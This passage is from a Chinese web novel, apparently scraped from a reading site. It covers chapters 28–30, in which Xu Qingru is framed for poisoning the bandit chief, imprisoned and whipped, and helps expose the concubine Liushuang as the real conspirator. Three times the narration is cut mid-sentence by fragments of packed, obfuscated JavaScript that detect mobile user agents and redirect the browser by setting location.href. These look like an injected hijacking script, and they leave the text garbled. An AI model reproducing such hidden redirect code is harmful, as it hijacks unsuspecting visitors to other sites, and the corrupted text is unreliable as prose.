徐青茹袖中的手攥了攥,面色如常,“我如何得知?我最近常常与二当家待在一起,研究赵羽遗留的宝物,怎么有那闲工夫去观察大当家的态度?” 宋又新点了点头,似是相信了她的说辞,听她提到了赵羽宝物,便问:“你们那边事情进展得如何?” 她摇了摇头,“才有了点眉目又断了,说是城阳王那有线索,可我们这些杀人放火的山贼,要如何见到城阳王,又怎能见到城阳王,那不是自投罗网吗?” 这位三当家蹙了蹙眉,“这倒是。”随后,他突然问道,“你和小栾爷如何?” 徐青茹一顿,眼神中闪过一丝不易察觉的警惕,“什么?” 这位白面书生般的山匪露出意味深长的笑容,“大当家和我说了,小栾爷似是有意于你。” 这句话无疑给她带来了极大的冲击,声音也带了些急促,“有、有意于我?” “是啊。”宋又新眼中闪过一丝精明,“没有想到你竟得了小栾爷的青睐,若是能得到他的助力,我们的事也就更好做了。”他起身进一步靠近少女,眼神幽幽,“青茹,你必要好好把握住。” 她迟缓地点了点头,心中却是在想,大当家怎么会知道她与栾佑的事情?虽然她贪恋他的身体与庇佑,但这并不是一段能摆上台面的关系。 “还有——” 宋又新的声音近在耳垂,“我们的行动,快了。” 徐青茹眯了眯眼,他的话让她心情渐渐平静下来,三当家终于要动手了么? 待其走后,她便急匆匆地赶去少年的院子,他之前送了她一把他院子的钥匙,说是方便她晚上来练剑。她很少用这把钥匙,但如今事态紧急,她必要和他好好商量一下此事。 她轻轻推开门,只听得一声“嗖”的破空声,一支箭矢稳稳地插入远处的靶心。与此同时,箭矢带起的风掠过院中的杏树,花瓣纷纷扬扬地落下,像是下了一场温柔的雨。 少年站在院中,身姿挺拔,手中握着弓箭,目光专注而冷峻。见她来,他微顿,轻笑着问,带着一丝调侃:“怎么了?难得姐姐有空来找我。” 徐青茹抿了抿唇,神色颇有些复杂,她走到他旁边,低声道:“大当家似乎知道我俩的事了。不知是谁传了出去,说你有意于我。这事可大可小,我个人认为......郎君还是澄清一番最佳。” “你不想让他人知道?”少年敛了神色,手中的动作再一次蓄势待发。 “这是自然!”说完后她顿了顿,语气缓了些,眼睫轻轻颤动着,“之前我不愿意说,是为了避开大当家的怀疑,现今我不愿意说,是因为我和郎君都心知肚明,这样的关系朝不保夕,说不定哪天就断了,无名无分,何必宣扬,使得山寨之人知晓?” 只听得利箭再一次飞出的声音,划破空气,带着凌厉的气势。 他终于放下手中之物什,转头看向她,脸色似乎有些奇怪,“朝不保夕、无名无分?” 徐青茹也看向他,“难道不是如此?所以我认为还是......” “是我和大当家说的我有意于姐姐你。” “既然无名无分,那就加上名分如何?” 什......什么?竟是小山匪自己说的?!这算什么?上回她与这小山匪不是还承认了互相猜忌,怎么能扯上“有意”二字? 少女一怔,显然被他这番话惊吓到了,一时之间不知如何作语。 见她如此,栾佑哂笑一声,随后脸色冷了下来,“当然不是我说的,是有人看见了。之前姐姐不是常半夜过来练剑么。大当家便问了我一回,我自然说是倾慕于姐姐了。” 徐青茹想露出个笑容,却笑不出来,原来竟是自己的缘故,不过被见着了便是被见着了罢,这倒不是件大事,于是她道,“无碍,郎君为不用为了我去说这些,假作真时真亦假,真真假假,如何说得清,不过是增加一份谈闻罢了,人们向来只愿意相信自己想相信的。” “假作真时真亦假......”少年轻声喃喃着这句话,眼神中掠过一丝复杂的情绪。 她颔首,”正是如此。”说到这,她突然想到知秋曾对她说过,大当家与二当家也有些情谊,但山寨中的人鲜少议论,她想,应是迫于两位的影响力,谁敢在他们背后乱嚼舌根? 不过—— 她看着眼前的少年,为何她这般说后,他似乎不太开心? * 马车穿过繁华的街道,最终停在城阳王府门前,只见王府大门巍峨壮丽,门前侍卫肃立,气势非凡。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177358|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姑母带着她走进王府,穿过几个院子和长长的回廊,最终达到一处雅致的别院。 “城阳王世子就在屋里头。云儿,你好好回答世子的问题即可。”顾季兰握住顾轻云的手,轻声嘱咐到。 “是,姑母。”她神色略微有些紧张,深吸一口气,走了进去。 推开门,屋内光线柔和,淡淡的檀香味萦绕鼻尖。顾轻云抬眸,只见一位身着月白色锦袍的男子正背对着她,手中把玩着一只青玉茶盏。他身姿挺拔如松,肩背宽阔,衣袖口绣着精致的云纹,既显高雅又不失雅致。她仪态端正,随后垂眸恭敬地行礼,“民女顾轻云见过世子。” 听到脚步声,男子缓缓转过身来。 “起。”他的嗓音清润好听,带着几分慵懒,顾轻云心中掠过一丝疑惑,似是在哪里听到过般...... 少女抬头,忽地惊讶出声,“是你!”眼前之人,眉目轩朗,鼻梁挺直,薄唇微微上扬,正是她当时拦下马车中所坐的公子。 见她认出了自己,傅景隆轻笑了下,“正是在下。”他微微颔首,目光在她脸上停留片刻,随后语气一转,带着几分欣赏与关切:“原来那天顾小姐是从杏花寨中出逃的,真是不易。” “我能否问一下顾小姐,你是如何逃出来的,杏花寨中又是如何情况?”说到这,青年眼中闪过一丝锐厉。 顾轻云点点头,放松了些许,简略地将自己如何被捕,在杏花寨中又经历了什么,最终又是如何逃出的一一说来。 “徐、青、茹。”傅景隆慢慢念着这三个字,眼神中闪过一丝思索,几月前,王府有一商队外出时,被杏花寨的山匪劫杀,尸体被抛弃在鹧鸪山处,唯独不见随行女子的尸体,这一位女子或许就是当时被杏花寨的人抓进了山寨。 “世子殿下。”少女忽地出声,眼神清亮,“在剿匪这件事上,我,我可以相信您吗?” 傅景隆闻言,眉梢微动,语气坚定而从容,“自然。城阳府必会剿灭匪贼,给云州百姓一个交代。” “那——”顾轻云咬了咬唇,眼神中闪过一丝复杂的神色,她似乎下定了什么决心,声音压低,还带着一丝隐隐的恳求,“我还有一事需要禀告给世子殿下。我这里有一张如何从鹧鸪山走入杏花寨的舆图,以及一些了解杏花寨内情的方法,这些对您剿匪必有大益。只要......” 少女的声音逐渐变得坚定,她目光灼灼地看向他,“只要您答应我,保住青茹的命,我便把这一切都交给您。” 傅景隆的神色渐渐凝重了些,目光中多了一丝探究。半响,他道,“顾小姐,你请说。我答应你,会留下徐青茹的命。”他顿了顿,继续补充道,“若真的剿匪成功,我更会请求父王,给予她一定的赏赐。” 顾轻云听到这,眼中闪过一丝感激,紧绷的肩膀也稍稍放松了些,她点了点头,声音柔和了几分,“多谢世子殿下。” ...... 从城阳王府中出来后,顾轻云神色已然放松了不少,她完成了她交给她的任务,青茹的命,保住了。 少女抬头望了望天,夕阳的余晖洒在她的脸上,映出一丝淡淡的温柔与释然。 刚刚踏进顾府大门,一丫鬟便急匆匆地迎了上来,眉眼间带着几分焦虑不安。她赶忙将少女带入大堂,母亲章顷蕴坐在那,神色凝重,旁边还站着一位身着深色褙子的婆子,面色严肃,目光中带着几分倨傲与不屑。见她来了,那婆子微微抬了抬下巴,嘴角勾起一抹似笑非笑地弧度,“既然顾小姐到,我便也敞开了话说。” 婆子的声音尖锐,又带着一丝隐约的鄙夷。 “我今日来,只因我家夫人最近去普宁寺占了一卦,说顾小姐去了一趟山寨,命格发生了变化,与我家二公子命格相斥,若两人强行在一起,便会命途坎坷,夫人为此日夜担忧,竟病倒了。思前想后,为了二公子和顾小姐的未来,夫人便差了我过来,想与顾夫人商讨着,退了这门亲事。” 话音刚落,大堂一片寂静,仿若空气都凝固了。 “夫人,您放心,这事是我们不对,必会好好补偿顾小姐的。”婆子继续说道,语气中虽带着几分歉意,神色却依旧倨傲。 “你,你们——”章顷蕴忽捂住胸口,面色瞬间变得苍白,呼吸也急促起来。 “娘!”顾轻云见状,心中一紧,连忙上前扶助母亲的手臂,随后冷声道,“绮罗,快叫赵大夫来!” 那婆子见章顷蕴突然如此,神色也有些慌乱,脸上的倨傲之色瞬间褪去,取而代之的是一抹尴尬不安。 “不用喊。”章顷蕴深吸一口气,勉强顺了顺胸口的气,脸色稍微缓和了些,声音颇为罕见地凌厉起来,“此事是我家老夫人与许家老夫人一同订下的,自幼时便交换了信物,岂可如此草率?若你们许府执意退婚,也得叫老夫人先答应了!” 那婆子听到“老夫人”三字,脸色顿时变了变,眼神闪烁不定。许家老夫人早于三年前去世,而顾家老夫人还尚在,且还在病中,若听到了这个消息有了个什么闪失,这如何担待得起......想到此,她只得讪讪地道:“这事......这事且容我回去再禀告我家夫人。老婆子我先回府了,顾夫人您保重身体。” 说完,她匆匆福了福身,几乎逃也似地离开了顾府,背影显得有些狼狈。 待婆那子离去,顾轻云神色担忧地看着母亲,“娘您没事吧?要不要先回房休息?” “我没事,云儿。”章顷蕴笑着摇了摇头,随后握住了女儿的手,语气温柔而坚定,“我没事,云儿。只是刚才一时气急,胸口有些闷罢了。你放心,娘不会轻易就让他们退了这门亲事的。” 少女看着母亲苍白的脸色,心中一阵酸楚。 “娘,我知道,她们是听到了那些谣言才出如此下策。既然许夫人不愿意待见我,我嫁过去,真的会好吗?” 章顷蕴闻言,神色微微一滞,随即叹了口气,伸手轻轻抚过女儿的脸颊,眼中满是怜惜与心疼:“云儿,娘知道你在担心什么。可是,这婚事不仅仅是你们两个人的事,更是两家多年来的约定。若是轻易退了,不仅你的名声会受损,顾家的颜面也会荡然无存。” 她顿了顿,语气愈发坚定:“况且,许家二公子为人谦和,品性端正,娘相信他不会亏待你。至于许家夫人……她不过是一时糊涂,待你嫁过去,日子久了,她自然会明白你的好。” “嗯嗯。”少女点了点头,“娘,我听你的。” 28. 第 28 章 中毒 还明院中,徐青茹正在制药,一份是给老夫人安神的药,另一份是三当家需要的毒药。 少女的手指在各色药材中穿梭,时而研磨,时而称量,动作娴熟而专注,只是神色略显冷峻。 “姑娘,姑娘不好了!”桂月步履匆匆地赶来,神色急切,“十九在院外,说是大当家中毒了,让您赶快过去!” “什么?!”徐青茹神色一惊,她还没有将毒药制作完成,大当家怎么会突然中毒......少女忽地又看向自己手中的已经磨碎碾压过的药粉,眼眸中闪过一丝警惕,“桂月,我现在过去,你把这些药材赶紧毁掉!” “是,姑娘!” “对了——”少女似想到什么,脸色凝重,“二当家和小栾爷归寨了吗?” 三日前,山寨密探传信,城阳王妃将会于今日前往普宁寺。 从王府到达普宁寺有两条路,一条是从城外直行的路,另一条就是经过鹧鸪山的险峻快路,按照惯常情况,一般是走那条直路,故而二当家和小栾爷等人预先达到埋伏,准备拿下王妃,继而逼迫城阳王说出相关线索。 桂月摇了摇头:“还未。” 徐青茹心中无端一紧,涌上几分不好的预感,“我先去大当家那,你记住我的话,切勿耽搁。” “嗯嗯,姑娘您快去吧。” 她跟随着十九前往大当家的院落,路途,她问十九可知大当家是如何中毒的,十九摇了摇头,说还未查出,徐青茹的脸色便愈发凝重起来。 - 这是她第一次进入大当家居住的院子,只见院内杏树森森,布局雅致,竟显出一副惬意温馨的氛围。但此刻她无暇欣赏,只快步走入正屋。然,甫一踏入房中,她便闻到一股浓重的药味,混着一丝淡淡的奇异的香味,徐青茹不由皱了皱眉。 见她来了,琉霜夫人忙唤了一声,“青茹!” 此时,围绕在大当家身旁的凤奴夫人、张大夫也纷纷看向她。尤其是张大夫,随意抹了把额头上的油汗,便赶忙招呼道:“徐小姐,你过来看看,是否是落回的症状?” 少女略微颔首,便疾步近前,只见檀木榻上大当家双目紧闭,往日威严的面容此刻泛着不自然地潮红。她忙俯身细察,发现大当家唇舌肿胀,十指指甲略泛靛青色,少女不由脸色一变,急问道:“正是落回。可先前呕吐过?” “吐过三回了。”琉霜面色焦急,手中的帕子拧了又拧,“张大夫用浓盐水混着榆木炭末灌下去,方才又吐出些黄水来。” “好。”徐青茹点点头,心境稍加放松,“落回之毒攻心极快,幸而张大夫处置及时。” 沉思片刻,少女又道:“凤奴夫人,可否用防风三钱煎汤冲服生绿豆粉给大当家试试?看看能不能缓解一下落回的毒素。”(注释1) 听此,凤奴夫人忙吩咐身边丫鬟:“春云,快去按四当家的吩咐熬制。” 徐青茹补充道:“绿豆须得现磨。”说罢,她从自己携带的药箱中拿出一枚银针,看向张大夫,神色沉凝,“张大夫,我想为大当家放一放黑血,您看是否妥当?” 张大夫皱着眉,捋了捋花白胡须,思略一番,“毒已入血,放血确能缓解。徐小姐,请。”说着,他侧身让开位置。 徐青茹点点头,正要为大当家施针时,忽地听得外头一阵急促脚步声,紧接着便是一声厉喝:“来人,把徐青茹拿下!” 她面色一顿,转头望去,只见五当家面色阴鸷,带着十余名山匪闯进房内,而他身旁是一袭白衣的宋又新。 徐青茹神情警惕,心中疑窦顿生,这位五当家为何要将自己拿下?难不成,又是什么新的花招吗...... “你这恶女,竟敢对大当家下毒!今日若不将你碎尸万段,难消我心头之恨!”乔双元对她厉声道。 下毒?好大一口锅给她扣了下来! 少女不由面色一冷,眼神犀利:“五当家,无凭无据便血口喷人,是何道理?如今大当家命在旦夕,你不急着救人,反倒急着拿我?” “哼!谁知你这女人是在救人还是想暗中害大哥!来人,把她拿下!不准她靠近大哥!” 徐青茹心头一凛,却未露惧色,她紧握银针,眸光锐利如刀,“谁敢!若因你们阻挠,耽搁了救治,这责任你们谁来担?!” 她这一声喝问掷地有声,原本要上前的山匪顿时踌躇不前,面面相觑。 “够了。”凤奴夫人蓦地开口,挡在徐青茹面前,她目光沉稳地看向三当家和五当家,声音泠泠,“二位当家,不管何事,请先让四当家为大当家医治,若有差错,我凤奴来担待!” “你......”乔双元没想到凤奴夫人会如此保下她,一时语噎。 见此,徐青茹也不再犹豫,赶忙拿银针刺少商、中冲二穴,放少量黑血于碗中。她动作利落干脆,很快便大功告成。 少女不由得松了口气,幸好大当家中毒不深,经过张大夫和她的医治,应该很快便能好起来。只是为何乔双元一口咬定这毒是她所下,宋又新也格外奇怪,难不成......她眉眼中闪过一丝复杂的情绪。 就在这时,一山匪忽快步上前,眼神不善地扫过她,抱拳道:“禀三当家、五当家,小的在四当家院中搜查时发现一名婢女鬼鬼祟祟地往灶房后门溜去。” 他边说边从怀中掏出一个靛蓝色粗布包裹,布料上还沾着少许灶灰,“那婢女见被发现,竟直接将这包裹扔进灶膛里烧毁,小的眼疾手快,这才抢了下来。” 是桂月?! 徐青茹脸色紧绷,面色略有发白。若其中真是那些制毒的药材,她便百口莫辩了...... 宋又新眯着眼,修长的手指挑开了包裹的一角,几味药材瞬间散落下来,他看向张大夫,声音平静却又意味不明,“张大夫,您仔细瞧瞧,这些药材是做什么用的?” 张大夫并不想掺和他们这些山寨里的腌臜事,但这三当家似笑非笑地盯着他,于是他只好凑近前去,手指略拨弄着药材,片刻,才道:“这些是安神的药材,远志、酸枣仁、柏子仁,都是寻常的方子,并无大碍。” 听此,徐青茹紧绷的肩臂微不可察地松了松,无意识中攥着衣角的指节也稍稍舒展。 “张大夫!”五当家突地大喊,粗黑的眉毛几乎竖了起来,“这女人必然包藏祸心!您可要细细甄别啊!” 张大夫被吓得后退半步,神色讪讪,“五当家明鉴,这......确实是安神的药。” “五当家。”琉霜夫人也开口言道,声音带着些情绪的起伏,“既然张大夫已验明这是安神的药,你又何必咄咄逼人?”说罢,她看向徐青茹,递给一个安抚温软的眼神。 旁侧,一瘦小的身影附在三当家耳边说了些什么,宋又新嘴角扯出一丝冷笑:“来人,将人证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231897|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带上!” 沉重的脚步声由远及近,只见两名高大魁梧的山匪押着个布衣少年快步而入,那少年额头渗血,衣襟上站着泥。徐青茹见到他,脸色陡然一变。 这位正是当初她买药材时收通的那位伙计,怎么会,他怎么会被抓到? 徐青茹的眼神慢慢移动到三当家的身上,这个人,从安排自己买药材之际,就拿捏住了她的把柄,他根本不是想和自己合作,只是想找一个替死鬼!但,这事她只告诉了大当家一人,现如今大当家这般,不一定能为她解说...... 栾佑也不在山寨,无法帮她。 徐青茹咬了咬唇,暂时按捺住想把关于三当家的一切托盘而出的欲望,面色冷冽,“三当家,你究竟要如何?” 宋又新轻笑一声,把玩着腰间玉佩,看了眼那少年,“说来看看。” 那少年战战巍巍,似要哭了出来,结结巴巴地说:“那日......这位姑娘来我们药坊买药,可是却额外买了一些药材,那些药材,据,据我所知,单放着是无碍,但合在一起,便是剧毒!我不是有意要卖给她的,只是,只是......” “你收了我的银两。”少女冷声打断,下巴微扬,露出一截雪白的脖颈,“我确实买了这些药材,但五当家为何一口咬定我是要给他人下毒呢?”她忽而轻笑一声,目光如刀地看向眼前的两位当家,“制药之人,本来就喜爱制毒,这也是我的癖好而已,犯不上大惊小怪。张大夫,您说呢?” “这......”张大夫捏着胡须的手一颤,似是没有想到徐青茹会问到他,只模棱两可道,“也、也确有这种说法。” “不管如何,你医治大哥是理所应当,但你下毒一事也嫌疑最大,来人,将这个恶女拿下!”乔双元厉声喝道。 宋又新负手而立,神色复杂,他缓慢开口,声音不大却字字如钉:“将四当家拿下,若有人为她维护,一并当做嫌犯处理!” 这句话如一盆冰水,瞬间阻止了他人想为徐青茹说话的行为,此刻大当家昏迷不醒,二当家和小栾爷外出未归,这山寨,俨然是他三当家一手遮天。 一位彪形大汉立马上前,扣住徐青茹的纤细的肩臂,使其动弹不得。少女脸色沉了下来,目光阴冷地盯着三当家。 “三当家。”凤奴夫人终是不忍,开口劝道,“要不还是等二当家和小栾爷回来了再做打算,三大当这般,似是不妥......” “是啊!”琉霜也连忙接话,“青茹还需要为大当家医治,没有功劳也有苦劳,三当家您先放了她吧。” “小栾爷?”宋又新忽然轻笑一声,指尖摩挲着腰间玉佩:“恐怕不妥。”他意味深长地扫过众人,“大当家曾亲口说过,小栾爷对咱们四当家......”他故意拖长了声音,“有意啊。” 宋又新顿了顿,继续说,“不必再劝,将四当家关入狱房!谁再为她说话便一并关入其中!” 一番话下来,说得众人哑口无言,徐青茹扯出一丝笑容,“好,好,既然三当家不愿意放我,那我们,便来日再论!看看究竟谁对谁错!”说到后面,她已是咬牙切齿。 被这人将了一军,该死! 宋又新面不改色,转头对张大夫道,“张大夫,这段时间就劳烦您照料大当家了。” 见如此阵仗,张大夫哪里还反驳,只得连连说是,随后又擦了擦额头上的冷汗。 29. 第 29 章 密谋 徐青茹被关入了狱房——这座前不久关过四当家的大牢,如今又迎来了它的“客人”。 黑色粗重的铁链在少女如玉的手腕上勒出红痕,空气中弥漫着一阵血腥腐朽的气味。 她已被乔双元打了十鞭子。 在第五鞭的时候,她还能发出阵阵痛呼声,但越往后,她的声音越弱,冷汗顺着苍白的脸颊滚落,在地面上溅开小小的涟漪。 这是徐青茹自穿越而来的第一次受刑,惨痛而深刻,她的身体已是满满的伤痕。 有那么一瞬间,她想,死去也好,说不定等待她的是家中温软的大床,是花生亲昵的依偎,可是,幻想中场景并未到来,只有不断麻木的疼痛正在刺激着她。她或许真的是作恶多端,才会有如此下场,但如果,如果她能活下来,逃出来,她这个恶人就恶到底,一定要让这些人付出代价! 少女的眼眸中迸发出一股坚韧而灼灼的光芒。 就在这位五当家落下第十三鞭时,牢门忽地被打开,一道身影快如魑魅,一把攥住乔双元的手腕,夺其长鞭扔至墙角。 乔双元回过神时已被桎梏住,看到眼前之人,他皱了皱眉,颇为恼怒地道:“小栾爷,你这是何干!” 少年神色未变,只是眼眸增添了少许晦暗,他冷冷地看向乔双元,语气平静但又带着一丝阴戾:“出去。” “你——”乔双元想说些什么,却在看到他眼神时又咽了下去,这人很少有这般神情,只怕现在心情极差,他想起三哥说过的事,咬了咬牙,将被打断的不悦咽了下去,只狠狠道,“小栾爷可不要假公济私!”说罢,又回头瞪了一眼徐青茹,才不情不愿地离去。 “关门。” 少年的声音依旧清泠。随后便听得一声极大的撞击声。 狱牢霎时间安静下来,透露出少许阴湿的寒意。 栾佑慢慢地走到她身边,他的手指轻拂上少女的鬓边,将其被冷汗浸染的发丝拨开。 “你来了啊......”她的声音太过于虚弱,像是一株被吹开的蒲公英,她扯着唇,笑了下,“是宋又新设计的,我太天真,中了他的圈套。” “嗯。” “我知道。” 她看不清他的表情,只依稀听到这两句话,徐青茹心头突然涌上一股酸涩,她垂下眼帘,不由轻轻地别过脸去。 栾佑没有注意到她的动作,他走到一旁从挂钩上取下一串钥匙,平静地替她解开了她手上和脚上的铐链。 她纤细的手腕已经磨出了一圈红痕,在瓷白的肌肤上格外刺眼。 少女的身体恍若一片摇摇欲坠的落叶,他眼疾手快地扶住她的肩臂,小心地绕开她身上的伤痕,道:“等下让张大夫医一下你的伤。” “......可以,让张大夫医治吗,我,我还是嫌疑之身......”她的声音轻如羽毛,带着不确定的颤抖。 栾佑顿了顿,情绪很淡,语气却很坚定:“我会让他过来这里的。” 徐青茹神色一怔,此前宋又新所说的话不假,山寨确有她与栾佑的一些风言风语,且制毒一事人证物证具在,虽然她极力狡辩,但她和宋又新也心知肚明,这件事掐头去尾后,全是真的。故而,对于从狱房放出一事,她并没有太指望栾佑,只是希望他念及之前他们之间的少许“情谊”,能够帮她在大当家醒后说上一说,看能不能见一面,求得大当家的转机。可是,现如今他竟愿意让张大夫进狱房为她医治,这算什么?给人打伤又给人医好?实在不符合他们杏花寨的调性......实在是,实在是过于好心了。 一种可能是他怜惜于她,但,经过这些日子的相处,他对她有怜,却并不足以使他如此帮她,那么就只有另一种可能...... 她忽地问道,“大当家情况如何?是否已解毒?” 少年一顿,点了点头,眼眸乌黑如玉,深不见底。 解了? 徐青茹的神色陡然变了变,她稍昂起头看他,嗓音带着一丝微不可察的颤抖:“我是不是,你们计划中的一环?” 少年罕见地陷入沉默,没有出声。 她心中的那一点侥幸渐渐落空,最后沉入一片深海,“民女知道了。” 中毒之事,不仅是宋又新的精心设置,更是大当家的以身入局,故意以这样一种方式使得宋又新暗中的同盟身份暴露,而她,只是一枚安抚宋又新,使其不对此生出怀疑的棋子。 呵,真可笑,这些人心思叵测,斗来斗去,却皆是以她为筹码,或许,从她踏入杏花寨的那一刻起,便已被他们安排好了结局。只是,他们没有想到的是,她会暗中反水,从三当家的棋子变成了大当家的棋子,而后,又成为了自己棋子。 那......他算什么呢?少女死死地盯着眼前之人,曾经有那么一瞬间,在练剑之际,在生死之际,在肌肤相亲之际,她对他,也有过那么一点不为人知的念想,有那么一丝相濡以沫的期盼。可是,他现愿意与大当家设下如此计谋,便是摆明了什么真情假意,统统都是假的......毕竟,只要步骤中差一点,她就有可能被三当家和五当家直接杀死。 她忽地想到,自己杀人,自己制毒,自己去克服种种,思虑种种,只不过是为了活着。 活着,是他们轻飘飘的一句话,但压在她身上却是一座沉重的大山,所以,所以,她只能,她必须把这座山,推翻才好啊。 良久,她眼眸幽深了几分,嘴唇微微动了动,道:“既然如此,我有一计,郎君可要听?” ...... 大当家房中。 烛火幽幽,映得室内一片昏黄。 琉霜伺候在旁,目光忧切地看着躺在床榻上的大当家,而张大夫正俯身诊脉,眉头微微皱起。 “如何,张大夫?”琉霜上前半步,蹙着眉,略带着急地问道。 张大夫长叹一声,花白胡须随着呼吸抖动:“要看大当家能否熬过今晚了。”说罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259685|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他从药箱中取出一青瓷小瓶,又从中倒出一颗白色药丸,“劳烦夫人一个时辰后,用温水化开这药丸给大当家服下,老夫先回去翻翻医书,若有了别的消息,再派人通知夫人。” “妾身明白。”她拿出一张帕子接过药丸,窗外骤然传来一声猫叫,琉霜顿了顿,忽小声问道,“张大夫,四当家伤势如何?” 张大夫一顿,沉默片刻,“四当家只受了些皮肉伤,未伤及根本,涂抹些膏药便可。” 听到这话,琉霜的神色显然放松了不少,“这就好,这就好。” 话落,门外传来细碎的脚步声,一丫鬟捧着一碗汤药进来,“夫人,汤药煮好了。” 见此,张大夫拱手道:“老朽告退。” 琉霜点点头,随后从丫鬟手中接过汤药,“你也出去吧,我等会喂给大当家。” “是。” 她慢慢走到床榻旁,安静地看着自己手中的汤药,药汁浓黑如墨,表面浮着一层薄薄的药油。汤药的温度略显灼热,但她似乎并未察觉,只是沉默地等待着其渐渐冷却。 不知过了多久,琉霜的神色变了变,眼中的忧虑更浓,她坐在床头的一角,慢慢地从药碗中舀上一勺,轻轻地吹了吹,才缓缓递到大当家的嘴边,但,就在此刻,已经病弱之人的双目忽地睁开,大当家一把抓住女人拿着汤勺的手腕,女人受惊,那碗汤药陡然失去支撑而怦然落地,发出一声清脆的破裂声。 “大,大当家......”琉霜夫人神色一惊,眼中闪过一丝难以掩饰的惊喜,随之又化作盈盈水光,“太好了,您终于醒了!” “但您为何要抓着我手腕呀......妾身疼......”她蹙了蹙眉,白皙的手腕中映出些些红痕。 大当家脸色苍白,但仍然支起身子,嗓音带着一丝沉重,“琉霜,原来是你啊。” “什么,什么?”琉霜顿了顿,眸中涌起少许疑惑,“大当家,您在说什么?” 床榻之人冷笑一声,力气不减:“琉霜,你太让我失望了,你和宋又新,为这场大戏,谋划了不少时间吧?” “没有,我没有和三当家谋划,大当家,妾身真的不知道您在说什么.....”女人的声音越来越小,甚至有些许呜咽声,“大当家您中了毒,定是魇着了......”但就在女人梨花带雨辩解之际——她突从袖中拿出一支木簪,狠狠地刺向单豹的咽喉。 “叮——” 就在此时,一把短剑忽然架在了女人的脖颈之上,那声音冷列无比,“你若动手,我便先杀了你。” 琉霜手中的动作骤然凝固,她斜睨着颈边的寒刃,虽是疑问但语气极为肯定,“小栾爷。” 簪尖距离单豹的喉结仅剩寸许,终究没有刺下。 “把簪子放下。” 少年的剑刃进一步紧贴她脖颈。 琉霜抿了抿唇,神色冷肃,她手中的簪子掉落下来,发出细微的声响,“你们怎么发现我的?” 30. 第 30 章 自戕 “糕点。” 一道柔静的声音响起,徐青茹缓缓从门外走了进来。女人看到她,神色陡然一变。 “琉霜夫人,你擅长制作各种糕点,下毒时,也往往利用此事。”徐青茹不急不慢地说道,只背上的伤隐隐作痛,她咬了下唇,未露出异样。 “四当家。”她顿了顿,“我没在糕点里下毒。大当家中毒前也没有吃我的糕点。” 少女勾唇浅笑,“不是下毒,是放了解药。” “我不知你如何让大当家食用了含落回的食物,但,若想做得天衣无缝,不让人起疑,只能一起吃下这含落回的食物。而这解药,就被你制作成了糕点,在中毒后立即食用,以此掩耳盗铃。不过,尽管如此,你只怕身体也有一些轻微的中毒迹象。夫人,我说得对吗?” 琉霜神色冷列,随后冷笑一声,抬眸看向少女,“青茹,你真是聪明呐。” 单豹看着陪伴自己多年的女人,声音中隐隐含着怒火,“琉霜,我自认待你不薄,你为何要与宋又新一齐害我?” 琉霜面色一怔,很快便恢复如初,嗤笑一声,“待我不薄?哈哈哈哈,单豹,你说的待我不薄就是就是将我圈养在杏花寨,让我作妾作奴,一世无望吗?就算是凤奴,她也能管杏花寨上下几百人的钱财,而我,你给过我什么,你凭什么说待我不薄,与其这般没有盼头地活着,还不如争上一争!大当家,我感恩你救了我一命,但我也不能拿我一辈子都来偿还,一辈子都做这样一个柔弱可欺的妇人!” 听得此番话,单豹的神色有些寂寥,他垂下眼睑,“我不知你竟有如此怨恨。” “你当然不知!”琉霜面色冷峻,眼中似有恨意,“你在乎的只有复仇,何曾真正关心过我们?!” 复仇?徐青茹敏锐地抓住这两个字,神色微微一变。 “佑儿。”单豹的神色已恢复正常,他抬手按了按眉心,袖口滑落时露出一道曾经的伤疤,“你带琉霜去狱房,好好查清楚她与宋又新的计划。”他顿了顿,声音陡然沉了下来,“明日,便将他捉拿。” “大当家——”徐青茹忽然出声,眉间微蹙,眸中闪过一丝担忧,“只怕今晚,宋又新已经行动了。” “他如此破釜沉舟地给您下毒,只怕是到了最后关头,所以,今晚,就是他唯一的机会。” 话音刚落,门外传来一阵急促的脚步声,一名满脸血污的匪徒踉跄着闯入房中,声音嘶哑急切,“大当家,二当家派我来给您递信,杏花寨的一部兄弟跟随三当家叛变,与外面的人里应外合,快要攻破石垒门了!” 此话一落,屋中陷入死一般的寂静。 大当家面色沉冷,眼眸中晦暗不明,过了片刻他才道,“宋又新,我要活的。” “谁拿下他,重重有赏。” “是!”那人得了指令,很快便离去。 伤痛刺人,徐青茹身形略有不稳,栾佑伸手扶了她一把,但很快便松开。少女一怔,嘴唇微微动了动,却是后退了一步。 见此,栾佑神色未变,只是眼神清淡了几分。 “琉霜。”大当家再次抬眼看向女人,眼中已无半分情谊,“说说吧,你和老三的谋划。”片刻,他顿了顿,“佑儿,你将剑放下。” 少年把剑收回,动作利落。 